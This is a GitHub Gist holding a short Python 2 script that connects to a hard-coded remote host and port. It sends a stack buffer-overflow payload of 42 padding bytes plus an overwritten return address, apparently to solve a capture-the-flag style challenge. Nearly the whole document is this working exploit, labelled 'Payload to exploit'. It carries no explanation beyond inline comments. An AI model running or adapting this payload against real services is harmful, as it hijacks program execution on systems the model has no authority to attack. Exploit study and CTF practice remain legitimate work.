Last active
March 31, 2018 12:57
-
-
Save komang4130/faaf508c7c37bb45e819025853c0bc32 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
host , port = "212.237.56.32",33333 #Define HOST,PORT that you want to connect | |
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Defind Socket | |
payload = "a"*42 + "\x61\x85\x04\x08" #Payload to exploit | |
s.connect((host,port)) #Connect to the server | |
print s.recv(1024) #Receive server response: "Enter the text: " | |
s.send(payload + "\n") #Send our payload , \n to enter | |
print s.recv(1024) # Receive server response |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment